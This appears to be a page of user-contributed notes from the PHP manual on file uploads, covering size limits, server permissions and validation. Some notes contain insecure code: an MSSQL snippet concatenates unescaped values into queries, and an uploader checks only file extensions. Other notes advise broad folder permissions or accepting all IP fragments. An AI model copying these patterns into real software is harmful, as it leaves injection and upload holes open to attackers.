 <input type="file" name"userfile">
</form>
Files will be uploaded and $_FILES will be populated.
romke at romke dot nl 28-Aug-2008 04:26
IIS7
has a upload limit of 30000000 (about 30mb)

You can change this with the command (for 250mb):

c:\windows\system32\inetsrv\appcmd set config -section:requestFiltering -requestLimits.maxAllowedContentLength:262144000

Or manual define it in:
%windir%\system32\inetsrv\config\applicationhost.config

Add this rule before the </requestFiltering> tag:
<requestLimits maxAllowedContentLength ="262144000" />
RK 21-Aug-2008 01:48
If you're so inclined to get access to the http request body via php://input when the content-type is multipart/form-data, and you're running apache, this hack may be helpful:

.htaccess
SetEnvIf content-type (multipart/form-data)(.*) NEW_CONTENT_TYPE=multipart/form-data-alternate$2 OLD_CONTENT_TYPE=$1$2
RequestHeader set content-type %{NEW_CONTENT_TYPE}e env=NEW_CONTENT_TYPE

Obviously, this will bypass all of PHP's file handling, as if you had set file_uploads=0, except that the request body wont be discarded. I can't comment on the consequences/pitfalls, since I'm just messing around.
sedativchunk at gmail dot com 06-Jun-2008 10:19
If you are using PHP 5, make sure you are using $_FILES to collect your post files. I spent an entire day trying to figure out why my files were not uploading when using $HTTP_POST_FILES. Previous to upgrading to PHP 5, $HTTP_POST_FILES was compatible with PHP 4, but you should always use the new method of something in your code!
jahajee 29-Apr-2008 04:27
hi , i was having difficulty with the upload_max_filesize , if u set the max file size lesser than the php setting then ur script to report error will only work till this difference between ur max set file size and the php set max size .Hence if the uploaded file exceeds the php max file size then php end abruptly without a trace of error that is it behaves like no file is uploaded and hence no error reported .Sure if uploading a file is optional for a form then a user who uploads larger file will get no error and still the form will be processed only without the file.
The method of using GET can't be used for optional uploads. Can't find help even in the bugs .Be careful with optional uploads.
jahajee
Rob 24-Apr-2008 01:07
You should not have any directories within your website root that has the permissions required for file upload.  If you are going to do a file upload, I recommend you use the PHP FTP Functions in conjunction with your file field, that way the files are transferred to a remote FTP location separate from your server.
dev at arthurk dot com 01-Apr-2008 10:44
Here is a quick and easy way to get the base name and the extension of a file.

I noticed that many examples here use explode(...), however this doesn't handle filenames like foo-1.0.1.tar gracefully. This code does. (foo-1.0.1 is the base, and .tar is the extension).

<?php
      $file_basename = substr($filename, 0, strripos($filename, '.')); // strip extention
      $file_ext      = substr($filename, strripos($filename, '.'));
?>

Notice the use of "strripos()" instead of "stripos()".

If you need to detect .tar.gz, etc. as the ext (starting at the first dot), substitute "stripos" for "strripos".
ajs at earthshod dot co dot uk 24-Jan-2008 06:17
Note that on Windows, EVERY file has execute permission.  This means whenever you upload a file from a Windows host, it will have its execute bit set.

If you are moving uploaded files to a directory where they will be accessible via HTTP  (necessary if e.g. you want to allow uploads of avatars),  you *must* use chmod() to make them non-executable after moving them to their intended location.  Otherwise, you run the risk that they could be treated by the web server as CGI scripts.

If you don't need uploaded files to be accessible directly via http, then use a .htaccess file containing the line "Deny from all" in the directory where you placed them; or, if your web server is set up with public_html directories, place uploaded files in a location *outside* public_html.

Note also that the uploaded files won't belong to you, but to the user in whose name httpd is running.  And on most systems, only root can chown() files  (even if they were your files to begin with).  This will mean you can't do file management via FTP / SSH unless you make the files world-writable .....  and you probably don't really want that.  (Workaround: put in a password protected script to chmod() files as required, and if for some reason you don't trust Apache's password protection, use your FTP client to make it non-world-readable when it is not needed.)
Tomas 07-Jan-2008 11:51
An upploaded file ( $_FILES['userfile']['tmp_name'] ) has permission 600 and MySQL LOAD_FILE() function will not work!
Use chmod() to change permission.
ragtime at alice-dsl dot com 24-Sep-2007 08:55
I don't believe the myth that 'memory_size' should be the size of the uploaded file. The files are definitely not kept in memory... instead uploaded chunks of 1MB each are stored under /var/tmp and later on rebuild under /tmp before moving to the web/user space.

I'm running a linux-box with only 64MB RAM, setting the memory_limit to 16MB and uploading files of sizes about 100MB is no problem at all! Nevertheless, some users reported a problem at a few 100MB, but that's not confirmed... ;-)

The other sizes in php.ini are set to 1GB and the times to 300... maybe the execution_time limits before, since the CPU is just a 233MHz one... :-)

====

OK,... I got it... finally!

If some of you have also problems uploading large files but the usual sizes/times in php.ini are ok, please check

    session.gc_maxlifetime

when you are using session management with your upload script!

The default value is 1440 which is just 24min... so with only 600kbit/s upload rate the session will be closed automatically after uploading
about 100MB. Actually you are able to upload more, but the file won't be copied from the temporary to the destination folder... ;-)

You can set the value also directly inside the php-script via
<?php ini_set("session.gc_maxlifetime","10800"); ?>
HNS 12-Sep-2007 01:30
I rather check the imagetype with getimagesize. <4 and != 0 equals jpg, gif, png. Also it already gives you a chance to store other interesting data about the images.
php.ini vars that deal with size that need to be checked are
-max upload filesize
-max post data size
-memory limit (for script to use)
My suggestion is to keep the two latter greater then the upload file size limit to be able to give back some user errors.
When POST data size get exceeded it just doesn't run the script that is set to run at application of a form. So
v dot galyanin at gmail dot com 21-Jul-2007 03:37
I try to set up file uploading under IIS 7 and PHP 5.

First problem was to set 2 variables in php.ini

 file_uploads = On

 upload_tmp_dir = "C:\Inetpub\wwwroot\uploads"

 For some reasons such directory name works,
 but "upload_tmp" won't work.

The second problem was to set correct user rigths for upload folders where you try to save your file. I set my upload folder rights for the "WORKGROUP/users" for the full access. You may experiment by yourselves if you not need execute access, for example.
sogdiev at gmail dot com 10-Jul-2007 01:19
Hi there.
As far as I understand IE has his own MIME types based on the values stored in a registry. To locate this "feature" I spent a lot of time and was granted with a perfect headache. :)
In my case I tried to upload a CSV file on a server and abort a script in case if the corresponding file isn't of a desired type.
And it work fine with Opera and stuck with IE.
So the workaround is that you should add this values in your windows registry (I have windows xp box and it works fine for me)
[HKEY_CLASSES_ROOT\.csv]
"Content Type"="application/vnd.ms-excel"
@="Excel.CSV"
[HKEY_CLASSES_ROOT\.csv\Excel.CSV]
[HKEY_CLASSES_ROOT\.csv\Excel.CSV\ShellNew]

NB:
add the value "application/vnd.ms-excel" if you plan to open it with excel.
Richard Davey rich at corephp dot co dot uk 21-Jun-2007 05:05
Beware the mime-types! Given the GIF security issue that has been doing the rounds recently you may be inclined to validate an update based on its reported mime-type from the $_FILES array. However be careful with this - it is set by the *browser*, not by PHP or the web server, and browsers are not consistent (what's new?!)

For example IE6/7 will upload a progressive JPEG as image/pjpeg, while Firefox and Opera will upload it as image/jpeg. More importantly IE will try and determine the mime type of the file by actually inspecting its contents. For example if you rename a perfectly valid PNG file to end with .zip instead, IE will still send a mime type of image/x-png, where-as Firefox and Opera will send application/x-zip-compressed and application/zip respectively, even though the file is a valid PNG.

In short if you are going to validate an upload on the mime-type, be sure to do some careful research and testing first!
svenr at selfhtml dot org 23-Apr-2007 03:13
Clarification on the MAX_FILE_SIZE hidden form field:

PHP has the somewhat strange feature of checking multiple "maximum file sizes".

The two widely known limits are the php.ini settings "post_max_size" and "upload_max_size", which in combination impose a hard limit on the maximum amount of data that can be received.

In addition to this PHP somehow got implemented a soft limit feature. It checks the existance of a form field names "max_file_size" (upper case is also OK), which should contain an integer with the maximum number of bytes allowed. If the uploaded file is bigger than the integer in this field, PHP disallows this upload and presents an error code in the $_FILES-Array.

The PHP documentation also makes (or made - see bug #40387 - http://bugs.php.net/bug.php?id=40387) vague references to "allows browsers to check the file size before uploading". This, however, is not true and has never been. Up til today there has never been a RFC proposing the usage of such named form field, nor has there been a browser actually checking its existance or content, or preventing anything. The PHP documentation implies that a browser may alert the user that his upload is too big - this is simply wrong.

Please note that using this PHP feature is not a good idea. A form field can easily be changed by the client. If you have to check the size of a file, do it conventionally within your script, using a script-defined integer, not an arbitrary number you got from the HTTP client (which always must be mistrusted from a security standpoint).
v3 (&) sonic-world.ru 09-Mar-2007 02:29
As said before if POST size exceeds server limit then $_POST and $_FILES arrays become empty. You can track this using $_SERVER['CONTENT_LENGTH'].
For example:

<?php
$POST_MAX_SIZE = ini_get('post_max_size');
$mul = substr($POST_MAX_SIZE, -1);
$mul = ($mul == 'M' ? 1048576 : ($mul == 'K' ? 1024 : ($mul == 'G' ? 1073741824 : 1)));
if ($_SERVER['CONTENT_LENGTH'] > $mul*(int)$POST_MAX_SIZE && $POST_MAX_SIZE) $error = true;
?>
jazfresh at hotmail.com 05-Dec-2006 11:45
Now that PHP 5.2 supports a hook that can be used to handle upload progress, you can use a PECL extension (uploadprogress) to display an upload progress meter. Since documentation for this PECL extension is a bit thin on the ground, here are the basics:

1) Run "pecl install uploadprogress", and add "extension=uploadprogress.so" in your php.ini file.
2) Tell the extension where to temporarily store information about each upload. By default, this is in "/tmp/upt_%s.txt" (where %s is replaced with the UPLOAD_IDENTIFIER, see below). You can change it with the following config line:
uploadprogress.file.filename_template = /path/to/some_name_%s.txt
It must have a single '%s' in it, or it will fail!
3) Add a hidden element at the very beginning (this is important) of your upload form, called UPLOAD_IDENTIFIER. The value of this should be match the expression "^[A-Za-z0-9_.-=]{1,64}$" and be unique for every upload.
4) When the form is submitted, pop open a window to display the progress information and continue submitting the form. This window should refresh itself every few seconds, calling a PHP script that will retrieve the progress information and generate a display meter.

This script calls the function uploadprogress_get_info($id), where $id is the UPLOAD_IDENTIFIER value. This will return false if there is no progress information, or an array of values about that upload. The array contains:

time_start - The time that the upload began (same format as time()).
time_last - The time that the progress info was last updated.
speed_average - Average speed. (bytes / second)
speed_last - Last measured speed. (bytes / second)
bytes_uploaded - Number of bytes uploaded so far.
bytes_total - The value of the Content-Length header sent by the browser.
files_uploaded - Number of files uploaded so far.
est_sec - Estimated number of seconds remaining.

The speed_average is measured based on the number of bytes uploaded since the upload began, whereas the speed_last is based on the number of bytes uploaded since the progress information was last updated. The progress information is updated whenever PHP reads in some more data from the client, so speed_last may not be very accurate.

Note 1) The bytes_total figure is NOT a reflection of the file size, but of the POST's size, so don't expect them to match.

Note 2) This module really only detects how much data the POST form has sent, and keeps a running count of how many POST variables of type 'file' that it encounters along the way.  It has no way of knowing how many files are in the POST, so it is not possible to have a progress bar for each file, just one for all files (and the ability to display how many files have been uploaded so far).
frustrated dot user at fake dot com 28-Nov-2006 09:11
Before you even bother doing anything, verify the filesystem your permanent upload directory will reside on. Use NTFS before you even start! (Assuming you're on Windows.)

Unfortunately, because I've been preparing to switch to Linux on this machine, I thought it would be a *great* idea to use FAT32 so I could access my websites from both Windows and Linux (this is not a production box, but where I am creating a CMS).

This was a *bad* idea...since the filesystem is not NTFS, now the only permissions I can set are *share* permissions.

I *guess* that *share* permissions are not used through the webserver, because even though the user Apache runs as is one of the users given permissions "Read" and "Modify" share permissions, the file cannot be permanently saved via neither move_uploaded_file() nor copy().

I verified this by using conditionals with !is_readable() and !is_writable() to echo specific messages.

So, now I have to back up everything I've done, reformat that partition as NTFS, copy everything over again, and set all the permissions, including on databases that I am using with other pages. *(sigh)*
jedi_aka at yahoo dot com 18-Oct-2006 12:12
For those of you trying to make the upload work with IIS on windows XP/2000/XP Media and alike here is a quick todo.

1) Once you have created subdirectories "uploads/"  in the same directory wher you code is running use the code from oportocala above and to make absolutely sure sure that the file you are trying to right is written under that folder. ( I recomend printing it using echo $uploadfile; )

2) In windows explorer browse to the upload directory created above and share it. To do that execute the following substeps.
     a) Right click the folder click "sharing and security..."
     b) Check 'Share this folder on the network'
     c) Check 'Allow network users to change my files' ( THIS STEP IS VERY IMPORTANT )
     d) click 'ok' or 'apply'

3) you can then go in the IIS to set read and write permissions for it. To do that execute the followin substeps.
     a) Open IIS (Start/Controp Panel (classic View)/ Admistrative tools/Internet Information Service
     b) Browse to your folder (the one we created above)
     c) right click and select properties.
     d) in the Directory tab, make sure, READ, WRITE, AND DIRECTORY BROWSING are checked.
     e) For the security freaks out there, You should also make sure that 'execute permissions:' are set to Script only or lower (DO NOT SET IT TO 'script and executable)'( that is because someone could upload a script to your directory and run it. And, boy, you do not want that to happen).

there U go.

Send me feed back it if worked for you or not so that I can update the todo.

jedi_aka@yahoo.com

PS: BIG thanks to oportocala
tom dot blom at helsinki dot fi 04-Sep-2006 06:02
I have been upgrading a web server. The current configuration is IIS 6.0 + PHP 5.2 build 3790 with SSL support.

File uploads failed with a blank screen if the file size exceeded ca. 49 Kb. I tried modifying different timeout parameters (PHP and IIS) and the POST_MAX_SIZE and UPLOAD_MAX_FILESIZE directives. Modifications had no effect.

After turning off SSL in IIS uploads were successful. Some experimenting showed  that the "Accept client certificates" -setting was causing the problem. Now I am running IIS with SSL and "Ignore client certificates" -setting. Even large files can now be uploaded.

I didn't found anything about this feature on the web.
david at cygnet dot be 12-May-2006 05:14
If you are experiencing problems posting files from Internet Explorer to a PHP script over an SSL connection, for instance "Page can not be displayed" or empty $_FILES and $_POST arrays (described by jason 10-Jan-2006 02:08), then check out this microsoft knowledgebase article:

http://support.microsoft.com/?kbid=889334

This knowledgebase article explains how since service pack 2 there may be problems posting from IE over SSL. It is worth checking whether your problem is IE specific since this is definitely not a PHP problem!
geert dot php at myrosoft dot com 23-Dec-2005 12:16
When file names do contain single quote parts of the filename are being lost.
eg.: uploading a filename
      startName 'middlepart' endName.txt
will be uploaded (and hence stored in the _Files ['userfile'] variable as
      endName.txt
skipping everything before the second single quote.
djot at hotmail dot com 27-Nov-2005 02:02
-
Be carefull with setting max_file_size via
<?php ini_get('upload_max_filesize'); ?>

ini_get might return values like "2M" which will result in non working uploads.

This was the "no no" in my case:

<?php
$form = '<input type="hidden" name="MAX_FILE_SIZE" value=".ini_get('upload_max_filesize')." />';
?>

Files were uploaded to the server, but than there was not any upload information, not even an error message. $_FILES was completly empty.

djot
-
ded at in dot ua 04-Oct-2005 02:03
Generally, if you use
CharsetDisable on
or
CharsetSourceEnc off
in (russian) apache config file, and if your script which receives upload still have some html, use <meta http-equiv ...> tags so browser can correctly display the pages.
NO_lewis_SPAM at NOSPAM dot delta-hf dot co dot uk 03-Sep-2005 09:27
I have been having issues with putting data in to an MSSQL database from an uploaded file. Trying to INSERT a file in excess of 25MB caused "Insufficient memory" errors from the SQL server

I decided to chunk the data into the database rather than trying to spurt it all in at once. The memory management is much better and from Submit to in the DB takes about 1 second per MB. The machine has dual Pentium 3 933MHz and 2GB RAM.

First things first I had to write a stored procedure. I saw no point in attempting to return a TEXTPTR(), which is required for the UPDATETEXT function to work, back to PHP so I didn't even bother. This is my very first stored procedure since this is really the first time I've developed solely for MSSQL. The important thing is that it's functional.

Here's the code I used for my stored procedure. After writing this I need to execute it in a loop to get all the data in, in the correct order. I leave that bit to PHP of course. Please don't tell me I could have just written it all in the stored procedure using another language, this is PHP and MSSQL we're talking about. :)

The zipfile column data type is TEXT, I tried IMAGE but it was problematic dealing with HEX data.

///////////// SP//////////////////////
CREATE PROCEDURE dbo.dds_writeBlob @dataChunk AS TEXT, @refCode AS VARCHAR(50), @offSet AS INT

AS

DECLARE    @dataPtr AS BINARY(16)

SELECT    @dataPtr=TEXTPTR(zipfile)
FROM    [dbo].[file] (UPDLOCK)
WHERE    [dbo].[file].ref = @refCode

UPDATETEXT    [dbo].[file].zipfile @dataPtr @offSet 0 @dataChunk
GO
//////////////////END SP/////////////////

Then of course comes the PHP code to do the chunking. Firstly I have to convert the binary data to a type that can be accepted by TEXT data type. base64_encode() comes in handy for this purpose but of course I need it in chunks so I used chunk_split() and split it in to chunks of 256000 bytes by declaring the optional [chunklen]. I then explode() it in to a numerically indexed array using the newlines ("\r\n") that are inserted every [chunklen] by chunk_split. I can then loop through with a for(), passing the data chunks, in order, one at a time to the stored procedure. Here's the code:

<?php
$data = chunk_split(base64_encode(fread(fopen($file, "rb"), filesize($file))), 256000);
$arrData = explode("\r\n", $data);
unset($data); // Clear memory space
$num = count($arrData);
$offset = 0;

for ($i=0;$i<$num;$i++) {
    $buffer = $arrData[$i];
    $query = "EXEC [dds_writeBlob] '".$buffer."', '$reference', $offset";
    @mssql_query($query) or die(mssql_get_last_message());
    $offset = ($offset + strlen($buffer));
}
?>

Of course we then need to extract the data from the database. This, thankfully, is a lot easier! Simply base64_decode() the data before outputting to a browser.
<?php
$query = "SELECT zipfile, job_code FROM [file] WHERE ref = '$ref'";
@$result = mssql_query($query) or die('File Download: Failed to get file from the database.');
$file = mssql_fetch_assoc($result);
header('Content-type: application/zip');
header('Content-Disposition: attachment; filename="job-'.trim($file['job_code']).'.zip"');
echo base64_decode($file['zipfile']);
?>

The benefit of storing in base64_encoded format is the simplicity with which you can now send mime emails with the data attached as an alternative to having people download it. A simple chunk_split() on the SELECTed data will have it in the right format for mime mails.

The draw back is the extra size required! Expect the base64_encoded data to be 1.33 times the size of the original data!
mariodivece at bytedive dot com 24-Aug-2005 11:33
Just wanted to point out a detail that might be of interest to some:

when using base64_encode to store binary data in a database, you are increasing the size of the data by 1.33 times. There is a nicer way of storing the data directly. Try the following:

<?php $data = mysql_real_escape_string($data); ?>

This will leave the data untouched and formatted in the correct way and ready to be inserted right into a MySQL statement without wasting space.

By the way, I'd like to thank therebechips for his excellent advice on data chunks.
warwickbarnes at yahoo dot co dot uk 18-Aug-2005 04:58
You may come across the following problem using PHP on Microsoft IIS: getting permission denied errors from the move_uploaded_file function even when all the folder permissions seem correct. I had to set the following to get it to work:

1. Write permissions on the the folder through the IIS management console.
2. Write permissions to IUSR_'server' in the folder's security settings.
3. Write permissions to "Domain Users" in the folder's security settings.

The third setting was required because my application itself lives in a secure folder - using authentication (either Basic or Windows Integrated) to identify the users. When the uploads happen IIS seems to be checking that these users have write access to the folder, not just whether the web server (IUSR_'server') has access.

Also, remember to set "Execute Permissions" to "None" in the IIS management console, so that people can't upload a script file and then run it. (Other checks of the uploaded file are recommended as well but 'Execute None' is a good start.)
myko AT blue needle DOT com 16-Aug-2005 09:13
Just a quick note that there's an issue with Apache, the MAX_FILE_SIZE hidden form field, and zlib.output_compression = On.  Seems that the browser continues to post up the entire file, even though PHP throws the MAX_FILE_SIZE error properly.  Turning zlib compression to OFF seems to solve the issue.  Don't have time to dig in and see who's at fault, but wanted to save others the hassle of banging their head on this one.
sgarner(a)expio.co.nz 20-Jun-2005 09:52
Internet Explorer has problems with submitting forms with enctype="multipart/form-data" (e.g. uploading files) when combined with text fields containing non-standard ASCII characters (e.g. smart quotes or em-dashes) and a non-Windows-1255 character encoding.

Many Apache 2.0 default configs (e.g. Fedora 3) ship with "AddDefaultCharset UTF-8" in the httpd.conf. Commenting out this line will resolve the problem (assuming no charset is defined using <meta> tags in the page as well).

The problem manifests when submitting the form; the input field containing characters like ©, —, “, ” (common in text copied from MS Word) will appear blank to the receiving page.
keith at phpdiary dot org 24-May-2005 04:14
Caution: *DO NOT* trust $_FILES['userfile']['type'] to verify the uploaded filetype; if you do so your server could be compromised.  I'll show you why below:

The manual (if you scroll above) states: $_FILES['userfile']['type'] -  The mime type of the file, if the browser provided this information. An example would be "image/gif".

Be reminded that this mime type can easily be faked as PHP doesn't go very far in verifying whether it really is what the end user reported!

So, someone could upload a nasty .php script as an "image/gif" and execute the url to the "image".

My best bet would be for you to check the extension of the file and using exif_imagetype() to check for valid images.  Many people have suggested the use of getimagesize() which returns an array if the file is indeed an image and false otherwise, but exif_imagetype() is much faster. (the manual says it so)
ceo at l-i-e dot com 19-May-2005 08:25
Using /var/www/uploads in the example code is just criminal, imnsho.

One should *NOT* upload untrusted files into your web tree, on any server.

Nor should any directory within your web tree have permissions sufficient for an upload to succeed, on a shared server. Any other user on that shared server could write a PHP script to dump anything they want in there!

The $_FILES['userfile']['type'] is essentially USELESS.
A. Browsers aren't consistent in their mime-types, so you'll never catch all the possible combinations of types for any given file format.
B. It can be forged, so it's crappy security anyway.

One's code should INSPECT the actual file to see if it looks kosher.

For example, images can quickly and easily be run through imagegetsize and you at least know the first N bytes LOOK like an image.  That doesn't guarantee it's a valid image, but it makes it much less likely to be a workable security breaching file.

For Un*x based servers, one could use exec and 'file' command to see if the Operating System thinks the internal contents seem consistent with the data type you expect.

I've had trouble in the past with reading the '/tmp' file in a file upload.  It would be nice if PHP let me read that file BEFORE I tried to move_uploaded_file on it, but PHP won't, presumably under the assumption that I'd be doing something dangerous to read an untrusted file.  Fine.   One should move the uploaded file to some staging directory.  Then you check out its contents as thoroughly as you can.  THEN, if it seems kosher, move it into a directory outside your web tree.  Any access to that file should be through a PHP script which reads the file.  Putting it into your web tree, even with all the checks you can think of, is just too dangerous, imnsho.

There are more than a few User Contributed notes here with naive (bad) advice.  Be wary.
Steven 29-Apr-2005 04:30
Need to get around your PHP.ini file upload limit?
Use a bit of clever JavaScript to get the value of your <input type="file"> (the location of the file on the client's machine), copy it to a hidden text box then try and upload traditionally, if you get a PHP error UPLOAD_ERR_INI_SIZE, then use the value of your hidden text box to initiate a PHP-FTP connection and upload to your heart's content.
No more limits :)
dmsuperman at comcast dot net 26-Apr-2005 11:00
I needed a file uploader for a client a little while ago, then the client didn't want it, so I'll share with all of you. I know I hated coding it, it was confusing (for me anyway), but I made it fairly simple to use:

<?php
function uploader($num_of_uploads=1, $file_types_array=array("txt"), $max_file_size=1048576, $upload_dir=""){
  if(!is_numeric($max_file_size)){
    $max_file_size = 1048576;
  }
  if(!isset($_POST["submitted"])){
    $form = "<form action='".$PHP_SELF."' method='post' enctype='multipart/form-data'>Upload files:<br /><input type='hidden' name='submitted' value='TRUE' id='".time()."'><input type='hidden' name='MAX_FILE_SIZE' value='".$max_file_size."'>";
    for($x=0;$x<$num_of_uploads;$x++){
      $form .= "<input type='file' name='file[]'><font color='red'>*</font><br />";
    }
    $form .= "<input type='submit' value='Upload'><br /><font color='red'>*</font>Maximum file length (minus extension) is 15 characters. Anything over that will be cut to only 15 characters. Valid file type(s): ";
    for($x=0;$x<count($file_types_array);$x++){
      if($x<count($file_types_array)-1){
        $form .= $file_types_array[$x].", ";
      }else{
        $form .= $file_types_array[$x].".";
      }
    }
    $form .= "</form>";
    echo($form);
  }else{
    foreach($_FILES["file"]["error"] as $key => $value){
      if($_FILES["file"]["name"][$key]!=""){
        if($value==UPLOAD_ERR_OK){
          $origfilename = $_FILES["file"]["name"][$key];
          $filename = explode(".", $_FILES["file"]["name"][$key]);
          $filenameext = $filename[count($filename)-1];
          unset($filename[count($filename)-1]);
          $filename = implode(".", $filename);
          $filename = substr($filename, 0, 15).".".$filenameext;
          $file_ext_allow = FALSE;
          for($x=0;$x<count($file_types_array);$x++){
            if($filenameext==$file_types_array[$x]){
              $file_ext_allow = TRUE;
            }
          }
          if($file_ext_allow){
            if($_FILES["file"]["size"][$key]<$max_file_size){
              if(move_uploaded_file($_FILES["file"]["tmp_name"][$key], $upload_dir.$filename)){
                echo("File uploaded successfully. - <a href='".$upload_dir.$filename."' target='_blank'>".$filename."</a><br />");
              }else{
                echo($origfilename." was not successfully uploaded<br />");
              }
            }else{
              echo($origfilename." was too big, not uploaded<br />");
            }
          }else{
            echo($origfilename." had an invalid file extension, not uploaded<br />");
          }
        }else{
          echo($origfilename." was not successfully uploaded<br />");
        }
      }
    }
  }
}
?>

uploader([int num_uploads [, arr file_types [, int file_size [, str upload_dir ]]]]);

num_uploads = Number of uploads to handle at once.

file_types = An array of all the file types you wish to use. The default is txt only.

file_size = The maximum file size of EACH file. A non-number will results in using the default 1mb filesize.

upload_dir = The directory to upload to, make sure this ends with a /

This functions echo()'s the whole uploader, and submits to itself, you need not do a thing but put uploader(); to have a simple 1 file upload with all defaults.
oportocala at DON'T GET SPAM dot yahoo dot comerce 22-Apr-2005 06:59
I had some problems with uploading files because of the path .So to save you some problems. if you get an error like "failed to open stream: No such file or directory in ..." it's likely because your not specifing the full path of the directory you want to upload.In other words you need to specify the full path and not the relative path in the second parameter.
Here is a small function to upload stuff. The files get their new name via last index from a database.
<?php

  $name_tmp = $HTTP_POST_FILES['file']['tmp_name'];
//read temporay filename
  $name = $HTTP_POST_FILES['file']['name'];
//read initial filename
  if(is_uploaded_file($name_tmp)){
    $ext =explode('.', $name);
    $ext = $ext[count($ext)-1];
    //get extension of uploaded file
        $index=getLastIndex();//costum function
    $path_parts = pathinfo(__file__);//get path info of curent php script
    $dir = $path_parts['dirname']."\\uploads"; //full path of upload directory
    $new = $dir."\\".$index.".".$ext;
      if(move_uploaded_file($name_tmp,$new))
        echo "File transfer succesfull.";
    }

?>
robpet at tds dot net 02-Apr-2005 10:35
People have remarked that incorrect permissions on the upload directory may prevent photos or other files from uploading.  Setting the Apache owner of the directory incorrectly will also prevent files from uploading -- I use a PHP script that creates a directory (if it doesn't exist already) before placing an uploaded file into it.  When the script creates the directory and then copies the uploaded file into the directory there is no problem because the owner of the file is whatever Apache is running as, typically "nobody". However, lets say that I've moved the site to a new server and have copied over existing file directories using FTP.  In this case the owner will have a different name from the Apache owner and files will not upload. The solution is to TelNet into the site and reset the owner to "nobody" or whatever Apache is running as using the CHOWN command.
javasri at yahoo dot com 30-Mar-2005 02:34
On windows XP, SP2, Explorer at times fails to upload files without extensions.

$_FILES array is null in that case. Microsoft says its a security feature(!)

The only solution we could comeup is to enforce uploaded file  to have an extention.
thisisroot at gmail dot com 14-Mar-2005 07:33
If you're having problems uploading large files but small files go through fine, here are some things to try:

- In the HTML form, make sure you've set MAX_FILE_SIZE to an acceptable value.
- In php.ini, be sure you've set the the upload_max_filesize and post_max_size to be large enough to handle your upload.
- In your httpd.conf (if you're using apache), check that the LimitRequestBody directive isn't set too low (it's optional, so it may not be there at all).

If those settings don't work, you can check your firewall configuration. When uploading large files, packets have to be split into fragments of varying size depending on your systems MTU (maximum transmission unit), which is typically 1500 bytes.

Because some systems send the packets with the headers last (or the header packet may be received after some of the data packets), firewalls can't filter this traffic based on destination port and address. Many firewalls (including iptables) have to be configured to allow fragments separately from standard traffic. Unfortunately, it's an all-or-nothing thing in these cases, and exploits based on packet fragmentation have been a problem in the past (teardrop, boink, etc.). Note that ICMP may be used to notify the host (your server) of oncoming fragmentation, so you may need to allow ICMP traffic as well.

The iptables rules for this are as follows:
# allow all fragments
-A INPUT -f -j ACCEPT
# allow icmp traffic
-A INPUT -p icmp -j ACCEPT

On the bright side, this will also fix some issues with ssh and NFS =)
27-Feb-2005 10:06
Just to remind everyone, if you are wanting to upload larger files, you will need to change the value of both upload_max_filesize and post_max_size to the largest filesize you would like to allow.  Then restart apache and everything should work.
Leevi at izilla dot com dot au 08-Feb-2005 10:52
This may help a newbie to file uploads.. it took advice from a friend to fix it..

If you are using
-windows xp
-iis 5
-php 5

If you keep getting permission errors on file uploads... and you have sworn you set the permissions to write to the directory in iis...

double check that
a) in windows explorer under tools > folder options
click the view tab
scroll down all the way to "use simple file sharing (recommended)"
uncheck this box

b) find the folder you wish to upload to on your server
c) click properties and then the security tab
d) make sure the appropriate write settings are checked.

you may want to test by setting "everyone" to have full permission....

BEWARE doing this will open up big security holes on your server....

hope this helps

Leevi Graham
phpnoob at adam dot net dot nz 08-Feb-2005 05:57
Just thought I'd add this since I had to search forever to find an answer.

When I used the enctype attribute on a form to process a file upload I had a problem redirecting back to an anchor point on the original page my code looked like this on the upload page:

header("Location: original_page.php#image_gal");

and the resulting url looked like this:

http://www.example.com/original_page.php

note the missing anchor reference.  So my work around was to pass the anchor point as a variable and then redirect again when I got to the original page.  A little bit chunky but it worked.  Hope this helps someone.
Tyfud 07-Jan-2005 08:44
It's important to note that when using the move_uploaded_file() command, that some configurations (Especially IIS) will fail if you prefix the destination path with a leading "/". Try the following:

<?php move_uploaded_file($tmpFileName,'uploads/'.$fileName); ?>

Setting up permissions is also a must. Make sure all accounts have write access to your upload directory, and read access if you wish to view these files later. You might have to chmod() the directory or file afterwards as well if you're still getting access errors.
lobo235 at gmail dot com 04-Jan-2005 02:48
Be sure to be careful with the $_FILES['userfile']['name'] array element. If the client uploads a file that has an apostrophe in the filename it WILL NOT get set to the full name of the file from the client's machine.

For example, if the client uploads a file named george's car.jpg the $_FILES['userfile']['name'] element will be set to s car.jpg because PHP appears to cut off everything before the apostrophe as well as the apostrophe itself.

This did not happen in some of the previous versions of PHP but I know that it happens in version 4.3.10 so watch out for this.

I thought this was a bug so I submitted it but it turns out that it is a "security measure"
ryan dot baclit at gmail dot com 14-Dec-2004 11:15
Hello everyone. I want to share to you that uploading will never work out of the box if you didn't set the upload_tmp_dir directive in your php.ini file in the first place. If you just compiled the source files as is and tried to upload, you're in for a big mess. I don't know the flags to pass to the configure script to tell php about the default temporary directory to place the uploaded files.

In case your php upload code won't do as expected, open up the php.ini file and set the upload_tmp_dir. Then restart the Apache server and you're set.

By the way, I'm using Linux Mandrake 10.1 Official and PHP 4.3.9 on Apache 2.0.49.
therhinoman at hotmail dot com 27-Aug-2004 01:20
If your upload script is meant only for uploading images, you can use the image function getimagesize() (does not require the GD image library) to make sure you're really getting an image and also filter image types.

<?php getimagesize($file); ?>

...will return false if the file is not an image or is not accessable, otherwise it will return an array...

<?php
$file = 'somefile.jpg';

# assuming you've already taken some other
# preventive measures such as checking file
# extensions...

$result_array = getimagesize($file);

if ($result_array !== false) {
    $mime_type = $result_array['mime'];
    switch($mime_type) {
        case "image/jpeg":
            echo "file is jpeg type";
            break;
        case "image/gif":
            echo "file is gif type";
            break;
        default:
            echo "file is an image, but not of gif or jpeg type";
    }
} else {
    echo "file is not a valid image file";
}
?>

using this function along with others mentioned on this page, image ploading can be made pretty much fool-proof.

See http://php.net/manual/en/function.getimagesize.php for supported image types and more info.
olijon, iceland 18-Jun-2004 08:24
When uploading large images, I got a "Document contains no data" error when using Netscape and an error page when using Explorer. My server setup is RH Linux 9, Apache 2 and PHP 4.3.

I found out that the following entry in the httpd.conf file was missing:

<Files *.php>
  SetOutputFilter PHP
  SetInputFilter PHP
  LimitRequestBody 524288 (max size in bytes)
</Files>

When this had been added, everything worked smoothly.

- Oli Jon, Iceland
brion at pobox dot com 10-May-2004 06:08
Note that with magic_quotes_gpc on, the uploaded filename has backslashes added *but the tmp_name does not*. On Windows where the tmp_name path includes backslashes, you *must not* run stripslashes() on the tmp_name, so keep that in mind when de-magic_quotes-izing your input.
steve dot criddle at crd-sector dot com 16-Apr-2004 11:43
